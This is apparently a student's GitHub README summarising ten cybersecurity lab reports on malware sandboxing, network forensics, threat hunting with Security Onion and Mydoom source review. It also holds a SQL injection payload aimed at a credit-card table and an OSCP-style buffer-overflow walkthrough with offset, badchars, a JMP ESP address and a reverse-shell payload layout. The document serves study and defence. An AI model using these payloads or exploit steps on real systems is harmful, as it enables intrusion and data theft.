Dib68/epicode-build-week-u3

GitHub: Dib68/epicode-build-week-u3

EPICODE 网络安全硕士课程的实验报告集合,涵盖恶意软件分析、网络取证、威胁狩猎和漏洞利用等 SOC 实战技能的完整学习记录。

Stars: 0 | Forks: 0

# Build Week U3 — Cybersecurity SOC & 恶意软件分析 **课程:** Cybersecurity 硕士 — EPICODE **学生:** Damiano Di Biase **阶段:** Build Week 3 — Unità 3 **重点:** 恶意软件分析、网络取证、threat hunting、exploit development ## 本周概览 第三次 Build Week 涵盖了 SOC 分析师和恶意软件分析师的完整操作链:从识别 Linux 服务器上的可疑进程,到从 PCAP 中提取可执行文件,再到 Security Onion 上的 threat hunting 以及手动利用 buffer overflow。实验均在隔离环境中进行(沙箱 VM、Cisco CyberOps Workstation、Security Onion)。 ## 仓库结构 ``` epicode-build-week-u3/ ├── reports/ # Report PDF originali (10 file) └── notes/ # Appunti e cheatsheet ``` ## Lab 01 — 静态和动态恶意软件分析 **文件:** [`reports/01_malware_analysis.pdf`](reports/01_malware_analysis.pdf) ### 场景 收到关于在企业端点上发现可疑文件 (`AdwereCleaner.exe`) 的告警。在没有互联网连接的隔离 VM 中进行分析。 ### 操作内容 1. **收集 hash** — 计算样本的 SHA256 以进行唯一识别,并在 threat intel 上进行搜索 2. **静态分析** — 执行 `file` 和 `strings` 以识别 PE 类型、导入的库、可读字符串(C2 URL、registry keys、文件路径) 3. **PEStudio** — 导入二进制文件以分析 PE 节、import table(加载的 DLL)、静态入侵指标以及 entropy(packaging/packing) 4. **动态分析** — 在开启 Process Monitor 的沙箱中运行;观察创建的子进程、写入的注册表键、尝试的网络连接 5. **IOC extraction** — 收集 hash、联系的 IP/域名、写入的文件路径、修改的注册表键 6. **Remediation** — 隔离文件,将 hash 加入黑名单,隔离端点 ### 使用的工具 `file`、`strings`、PEStudio、Process Monitor、隔离的沙箱 VM ## Lab 02 — Linux 服务器进程分析 **文件:** [`reports/02_server_linux.pdf`](reports/02_server_linux.pdf) ### 场景 访问 Cisco CyberOps Workstation (Linux)。识别监听服务,并通过手动连接验证可达性。 ### 操作内容 1. **`ps aux`** — 列出所有正在运行的进程,识别出 nginx (PID 395) 和 sshd (PID 277) 2. **`netstat -tunap`** — 映射监听端口: - TCP/80 → nginx (PID 395) — web server - TCP/22 → sshd (PID 277) — SSH - UDP/68 → DHCP 客户端(无法使用 telnet 测试,因为它是 UDP) 3. **`telnet localhost 80`** — 验证 HTTP 连接;返回 `400 Bad Request` 证实 nginx 正在响应 4. **`telnet localhost 22`** — 验证 SSH 连接;确认了 `SSH-2.0-OpenSSH_*` banner 5. **UDP 分析** — 解释了为什么 UDP/68(DHCP 客户端)无法使用 telnet 进行测试(无连接协议) ### 掌握的关键概念 - TCP(面向连接,可用 telnet 测试)与 UDP(无连接)的区别 - 读取 netstat 中的 PID 列以将端口与进程关联 - 识别合法服务与异常情况 ### 使用的工具 `ps`、`netstat`、`telnet` ## Lab 03 — Linux 文件系统与权限 **文件:** [`reports/03_filesystem_permessi.pdf`](reports/03_filesystem_permessi.pdf) ### 场景 管理连接到 VM 的第二块硬盘。手动挂载、配置权限、理解 symlink 与 hard link 的区别。 ### 操作内容 1. **`lsblk`** — 识别出未挂载的第二个设备 (`/dev/sdb1`) 2. **挂载** — `mkdir ~/second_drive && mount /dev/sdb1 ~/second_drive/` — 使硬盘可访问 3. **使用 chmod 设置权限** — 对一个目录应用 `chmod 665`: - Owner:read+write (6) - Group:read+write (6) - Others:read+execute (5) 4. **`chown`** — 修改文件/目录的所有者和所属组 5. **Symlink 与 Hard link:** - `ln -s target link_name` → symlink:指向路径的指针;如果重命名或移动原始文件,链接会失效 - `ln target link_name` → hard link:直接指向 inode 的指针;即使重命名或移动原始文件也能继续生效,因为两者共享同一个 inode 6. **读取 permission bits** — 分析 `rwxr-xr--` 字符串并将其转换为八进制 ### 掌握的关键概念 - Linux 文件系统使用 inode 作为文件的物理引用 - Hard link = 指向同一 inode 的别名;symlink = 指向路径的别名 - 八进制权限及其读取方式 (r=4, w=2, x=1) ### 使用的工具 `lsblk`、`mount`、`chmod`、`chown`、`ln` ## Lab 04 — 使用 Wireshark 和 tcpdump 分析 HTTP 与 HTTPS **文件:** [`reports/04_http_https_wireshark.pdf`](reports/04_http_https_wireshark.pdf) ### 场景 捕获在 HTTP 网站和 HTTPS 网站上登录时的网络流量,以展示这两种协议在安全性上的差异。 ### 操作内容 1. **使用 tcpdump 捕获:** tcpdump -i enp0s3 -s 0 -w httpdump.pcap - `-i enp0s3` — 要监控的网络接口 - `-s 0` — 捕获完整数据包(不限快照长度) - `-w httpdump.pcap` — 保存为文件以便使用 Wireshark 进行离线分析 2. **HTTP 分析(端口 80):** - 在 Wireshark 中打开 PCAP - 过滤器:`http.request.method == "POST"` - 在 POST 主体中发现明文:`uid=Admin&passw=Admin` - 凭据完全可被任何拦截流量的人读取 3. **HTTPS 分析(端口 443):** - 在启用 TLS 的情况下执行相同流程 - payload 仅显示 `Encrypted Application Data` — 没有私钥则数据不可读 - TLS handshake 是可见的(Client Hello, Server Hello, Certificate),但内容是加密的 ### 实践演示 本次实验具体证明了为什么 HTTP 在发送凭据时是不安全的:处于 MITM (man-in-the-middle) 位置或有权访问该网段的攻击者可以读取明文的用户名和密码。使用 TLS 的 HTTPS 使得在没有密钥的情况下进行这种读取变得不可能。 ### 使用的工具 `tcpdump`、Wireshark(HTTP 过滤器,Follow TCP Stream) ## Lab 05 — 使用 ANY.RUN 进行沙箱分析(两个样本) **文件:** [`reports/05_esercizio_b.pdf`](reports/05_esercizio_b.pdf) ### 场景 通过在线平台 ANY.RUN 对两个真实的恶意软件样本进行动态分析,该平台在 VM 中运行文件,并记录其行为、进程、网络连接和注册表更改。 ### 样本 1 — Vidar Stealer (`66bddfcb52736_vidar.exe`) | 字段 | 值 | |---|---| | ANY.RUN 判定 | MALICIOUS — Score 100/100 | | 家族 | Vidar Stealer | | 主 PID | 6780 | | 标签 | stealer, telegram, trojan | **Vidar 是什么:** 自 2018 年起活跃的信息窃取程序,在 dark web 上作为 MaaS (Malware-as-a-Service) 以 250-700 美元的价格出售。使用 C++ 编写,是 Arkei stealer 的衍生版本。 **观察到的行为:** - 生成 `RegAsm.exe` 的子进程(被用作掩护的合法 .NET 工具) - **T1012** Query Registry — 读取计算机名称和系统语言 - **T1082** System Information Discovery — 分析操作环境 - 执行后自我删除(anti-forensics) - 与 C2 服务器进行 9 次同步操作 - 窃取浏览器凭据、历史记录、crypto wallet、消息,并进行屏幕截图 - 如果检测到系统位于俄罗斯/前苏联地区则不执行操作(geo-fence) **Remediation:** - 立即隔离 + 阻断 `RegAsm.exe` 的子进程 - 通过 EDR 将 SHA-256 加入所有端点的黑名单 - 分析网络日志以查找已发生的 C2 outbound 连接 - **强制重置** 用户的所有密码(浏览器、电子邮件、VPN、企业访问权限) - 检查 crypto wallet 是否存在未经授权的交易 ### 样本 2 — Trojan.MSIL/Jalapeno (`MSG.exe`) | 字段 | 值 | |---|---| | Hash SHA-256 | `325396d5ffca8546730b9a56c2d0ed99238d48b5e1c3c49e7d027505ea13b8d1` | | VirusTotal 判定 | 56/72 vendor — 恶意 | | 家族 | msil, jalapeno, stealerc | | Community Score | -10 | **Jalapeno 是什么:** 包含 stealer-C 组件(数据窃取 + 远程控制)的 .NET/MSIL 木马。被 VirusTotal 上的 56/72 个反病毒软件检出。 **观察到的行为:** - **Persistence** — 可在重启后存活(注册表键或计划任务) - **Spreader** — 通过 USB 或网络共享传播(横向移动) - **Detect-debug-environment** — 在执行前检查是否存在 debugger/sandbox - **Checks-cpu-name** — 通过处理器名称检测 VM(规避) - **Long-sleeps** — 长时间等待以规避沙箱分析(基于超时的规避) - **Calls-WMI** — 通过 Windows Management Instrumentation 收集系统信息 - **Checks-user-input** — 监控用户活动(潜在的 keylogging) **Remediation:** - 立即将端点从网络隔离 - 扫描所有连接的 USB 设备和可访问的网络共享 - 搜索计划任务及异常的 `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` 键 - 分析 Active Directory 日志以检测已发生的横向移动 ### 两个样本的对比 | 特征 | Vidar | Jalapeno | |---|---|---| | 类型 | Information Stealer | Trojan / Stealer-C | | 判定 | 100/100 | 56/72 vendor | | 窃取凭据 | 是 | 是 | | 持久化 | 否 | 是 | | Anti-sandbox | 自我删除 | Long-sleep + debug check | | 横向传播 | 否 | 是 (spreader) | | 语言 | C++ | .NET/MSIL | | C2 通信 | 是(已确认) | 极有可能 | ### 使用的工具 ANY.RUN(动态沙箱)、VirusTotal ## Lab 06 — 从 PCAP 提取可执行文件 **文件:** [`reports/06_pcap_executable_extraction.pdf`](reports/06_pcap_executable_extraction.pdf) ### 场景 分析 `nimda.download.pcap` 文件,以识别并提取通过 HTTP 传输的恶意可执行文件。 ### 操作内容 1. **在 Wireshark 中分析 PCAP:** - 识别出 TCP three-way handshake:SYN → SYN-ACK → ACK - 随后是用于下载文件的 `HTTP GET` 请求 2. **提取文件:** - 菜单:`File → Export Objects → HTTP` - Wireshark 显示了下载的对象:`W32.Nimda.Amm.exe` - 保存文件以供后续分析 3. **分析提取的文件:** file W32.Nimda.Amm.exe 输出:`PE32+ executable (console) x86-64, for MS Windows` 深入分析:该文件实际上是 `cmd.exe`(Windows shell)重命名后的副本,并非原始的 Nimda 蠕虫 —— 但通过 HTTP 在不安全网络上下载的模式是完全一致的。 4. **重建攻击链:** - 攻击者从 HTTP 服务器上提供该文件 - 受害者(或已存在的恶意软件)通过 GET 下载了该 PE32 - 流量以明文传输,因此可以通过 PCAP 重建 ### 掌握的关键概念 - Wireshark 可以重新组装 TCP 流并重建传输的文件 - Export Objects 适用于 HTTP、SMB、FTP、DICOM - 即使是像 cmd.exe 这样的“合法”文件也可用作 payload (LOLBins) ### 使用的工具 Wireshark (Export Objects > HTTP)、`file` ## Lab 07 (Bonus) — Threat Actor:SQL Injection + DNS Exfiltr **文件:** [`reports/07_bonus_http_dns_actor.pdf`](reports/07_bonus_http_dns_actor.pdf) ### 场景 在 Security Onion / Kibana / Zeek 上进行取证分析,以识别分两阶段发动攻击的 threat actor:利用 SQL injection 窃取数据,随后利用 DNS exfiltration 进行数据渗出。 ### 操作内容 #### 阶段 1 — SQL Injection - 分析 Kibana/Zeek 中的 HTTP 日志 - 在 username 字段中识别出 injection 查询: username='+union+select+ccid,ccnumber,ccv,expiration,null+from+credit_cards-- - 攻击者使用 `UNION SELECT` 访问了 `credit_cards` 表 - 渗出了 **5 条信用卡记录** (ccid、卡号、CVV、有效期) #### 阶段 2 — DNS Exfiltration - 分析 Kibana/Zeek 中的 DNS 日志 - 识别出包含 hex-encoded 字符串的异常子域名的 DNS 查询: 4f46464943.....com - 使用以下命令解码: echo "4f46464943..." | xxd -r -p 输出:`"CONFIDENTIAL DOCUMENT DO NOT SHARE"` - 攻击者正将 DNS 请求用作渗出数据的隐蔽通道 (covert channel) ### 掌握的关键概念 - 基于 UNION 的 SQL Injection 可用于提取未授权的表 - DNS exfiltration:DNS 查询很少被防火墙拦截 —— 是进行隐蔽渗出的理想通道 - Zeek/Bro 会创建结构化日志 (conn.log、http.log、dns.log),可在 Kibana 中进行分析 - DNS exfiltration 的指标:极长的子域名、大量指向同一域名的查询、子域名中包含十六进制字符 ### 使用的工具 Security Onion、Kibana、Zeek/Bro、`xxd` ## Lab 08 (Bonus) — 5-Tuple 分析:识别 FTP Threat Actor **文件:** [`reports/08_bonus_5tuple.pdf`](reports/08_bonus_5tuple.pdf) ### 场景 Sguil 告警:`GPL ATTACK_RESPONSE id check returned root`。通过 5-tuple 分析和 Kibana 关联来识别攻击者、受害者和被盗文件。 ### 5-tuple 每个网络连接都由以下要素唯一标识: 1. **源 IP** (threat actor) 2. **源端口** 3. **目标 IP** (受害者) 4. **目标端口** 5. **协议** ### 操作内容 1. **Sguil 告警:** - 规则:`GPL ATTACK_RESPONSE id check returned root` - 目标:`209.165.200.235` - Threat actor:`209.165.201.17` 2. **在 Wireshark 中验证 (Follow TCP Stream):** - 会话显示了包含 `root` 的命令输出 —— 证实已获得特权访问 3. **在 Kibana 中关联 (Zeek bro_ftp 日志):** - 识别出 FTP 连接: - 源:`192.168.0.11:52776` - 目标:`209.165.200.235:21`(标准 FTP 端口) - 下载的文件:`confidential.txt` 4. **攻击重建:** - 攻击者 (209.165.201.17) 攻陷了目标 (209.165.200.235) 并获得了 root 访问权限 - 随后使用 FTP 渗出了 `confidential.txt` - Sguil 告警检测到“root”响应,作为发生 privilege escalation 的指标 ### 掌握的关键概念 - 5-tuple 可用于将表面上不相关的事件(IDS 告警 + FTP 日志)关联到同一安全事件 - Sguil/Squert 是 Security Onion 中用于 IDS 告警的前端 - Kibana + Zeek 允许跨多种协议“追踪” threat actor ### 使用的工具 Security Onion、Sguil、Kibana、Zeek、Wireshark ## Lab 09 (Extra) — Mydoom 源码静态分析 **文件:** [`reports/09_extra_mydoom_source.pdf`](reports/09_extra_mydoom_source.pdf) ### 场景 对 Mydoom 蠕虫(2004年)的源码进行静态分析 —— 该恶意软件造成了历史上代价最昂贵的拒绝服务攻击(估计造成 380 亿美元损失)。仅进行静态分析:不进行编译或执行。 ### 操作内容 1. **搜索 SMTP 和网络模式:** rg -n "SMTP|socket|connect|send|recv" mydoom_src/ - 识别出通过电子邮件自动传播的模块:蠕虫会读取通讯录并自动将其作为附件发送 2. **搜索系统和 registry 功能:** rg -n "RegSetValue|Run|CreateFile|3127" mydoom_src/ - 带有 `Run` 键的 `RegSetValue` → 重启后的 persistence - 端口 `3127` → 在受感染主机上打开的 TCP backdoor,用于远程访问 3. **MITRE ATT&CK 映射:** | 技术 | ID | 源码中的证据 | |---|---|---| | Phishing/email attachment | T1566 | SMTP 自动传播模块 | | Registry Run Keys | T1547 | `RegSetValue` + `Run` key | | Application Layer Protocol (SMTP) | T1071 | 用于传播的 SMTP socket | | Command Scripting | T1059 | 通过 backdoor 执行命令 | | Non-Standard Port | T1571 | 端口 3127 上的 backdoor | ### 掌握的关键概念 - 对源码进行静态分析可以在不执行恶意软件的情况下准确映射 MITRE 技术 - Mydoom 结合了自动传播、backdoor (trojan) 和 DDoS (botnet) - `rg` (ripgrep) 在处理大型代码库时比 `grep` 快得多 ### 使用的工具 `rg` (ripgrep)、手动 C 代码分析 ## Lab 10 (Extra) — 栈溢出 (OSCP 风格) **文件:** [`reports/10_extra_buffer_overflow.pdf`](reports/10_extra_buffer_overflow.pdf) ### 场景 利用监听在 TCP/1337 上的易受攻击应用程序 (`oscp.exe`),遵循针对 Windows x86 上 buffer overflow 的标准 OSCP 方法论。 ### 分步方法论 #### Step 1 — Fuzzing 并确认崩溃 发送长度递增的 payload,直到应用程序崩溃: - 连接:`nc 1337` - 确认在 payload 约为 2000 字节时发生崩溃 - 证实 EIP 可被覆盖:`EIP = 0x41414141` ("AAAA") #### Step 2 — 计算精确偏移量 ``` # 生成 3000 字节的循环 pattern /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` - 将 pattern 发送到目标 - 崩溃时的 EIP:`0x6f43396e` - 搜索偏移量: pattern_offset.rb -l 3000 -q 0x6f43396e **找到偏移量:1978 字节** #### Step 3 — 确认 EIP 控制权 ``` payload = b"A" * 1978 + b"BBBB" + b"C" * 16 # → EIP = 0x42424242 ✓ (控制权已确认) ``` #### Step 4 — 识别 badchars 在 padding 之后发送从 `\x01` 到 `\xff` 的所有字节: - **找到的 badchars:** `\x00`、`\x07`、`\x2e`、`\xa0` - 这些字节会被应用程序截断或修改,不能出现在 shellcode 中 #### Step 5 — 寻找 JMP ESP 在 Immunity Debugger 中使用 Mona.py: ``` !mona jmp -r esp -cpb "\x00\x07\x2e\xa0" ``` - 找到无 ASLR/DEP 的 JMP ESP 地址:**`0x625011af`** - 此地址会将执行重定向到栈(shellcode 所在的位置) #### Step 6 — 最终 payload 结构 ``` padding = b"A" * 1978 # riempie il buffer fino a EIP eip = b"\xaf\x11\x50\x62" # 0x625011af in little-endian nop_sled = b"\x90" * 32 # NOP sled per margine di atterraggio shellcode = b"" # generated: msfvenom -p windows/shell_reverse_tcp ... payload = padding + eip + nop_sled + shellcode ``` ### 掌握的关键概念 - 栈布局:buffer → saved EBP → saved EIP → return address - Little-endian:payload 中的地址需按倒序写入 - 作为 pivot 的 JMP ESP:用 JMP ESP 覆盖 EIP 会重定向至 ESP,即我们的 shellcode 所在处 - NOP sled:shellcode 之前的容错空间,用于补偿栈指针的偏移 - Badchars:会破坏 payload 的字节,必须在生成 shellcode 时予以排除 ### 使用的工具 Immunity Debugger、Mona.py (`pattern_create`、`pattern_offset`、`jmp -r esp`)、netcat、Python ## 展示技能总结 | 领域 | 技能 | |---|---| | **Malware Analysis** | 静态分析 (PEStudio, strings, file)、动态分析(沙箱、Process Monitor)、IOC extraction、ANY.RUN、MITRE ATT&CK 映射 | | **Network Forensics** | tcpdump、Wireshark(过滤器、Follow Stream、Export Objects)、PCAP 分析、TCP 会话重建 | | **Threat Hunting** | Security Onion、Kibana、Zeek/Bro、Sguil、5-tuple 关联、DNS exfiltration 追踪、SQL injection 检测 | | **Linux** | 进程分析 (ps, netstat)、文件系统 (mount, lsblk, chmod, chown)、symlink 与 hard link | | **Exploit Development** | 栈溢出 (fuzzing → offset → badchars → JMP ESP → shellcode)、Immunity Debugger、Mona.py | | **Threat Intelligence** | VirusTotal、MITRE ATT&CK Navigator、IOC 收集、恶意软件家族识别 | ## 工具列表汇总 | 工具 | Lab | 类别 | |---|---|---| | PEStudio | 01, 05 | Malware Analysis | | Process Monitor | 01 | DFIR | | ANY.RUN | 05 | 沙箱动态分析 | | VirusTotal | 05 | Threat Intelligence | | tcpdump | 04 | 网络捕获 | | Wireshark | 04, 06, 08 | 网络分析 | | netstat | 02 | 进程/网络 | | Security Onion | 07, 08 | SIEM/threat hunting | | Kibana | 07, 08 | 日志分析 | | Zeek/Bro | 07, 08 | 网络监控 | | Sguil | 08 | IDS 告警管理 | | ripgrep (rg) | 09 | 代码分析 | | Immunity Debugger | 10 | Exploit 开发 | | Mona.py | 10 | Exploit 开发 | | xxd | 07 | 数据解码 | *Damiano Di Biase — EPICODE Master in Cybersecurity*
标签:DAST, DNS 反向解析, IP 地址批量处理, 安全实验报告, 安全运营中心, 恶意软件分析, 网络信息收集, 网络安全, 网络映射, 越狱测试, 隐私保护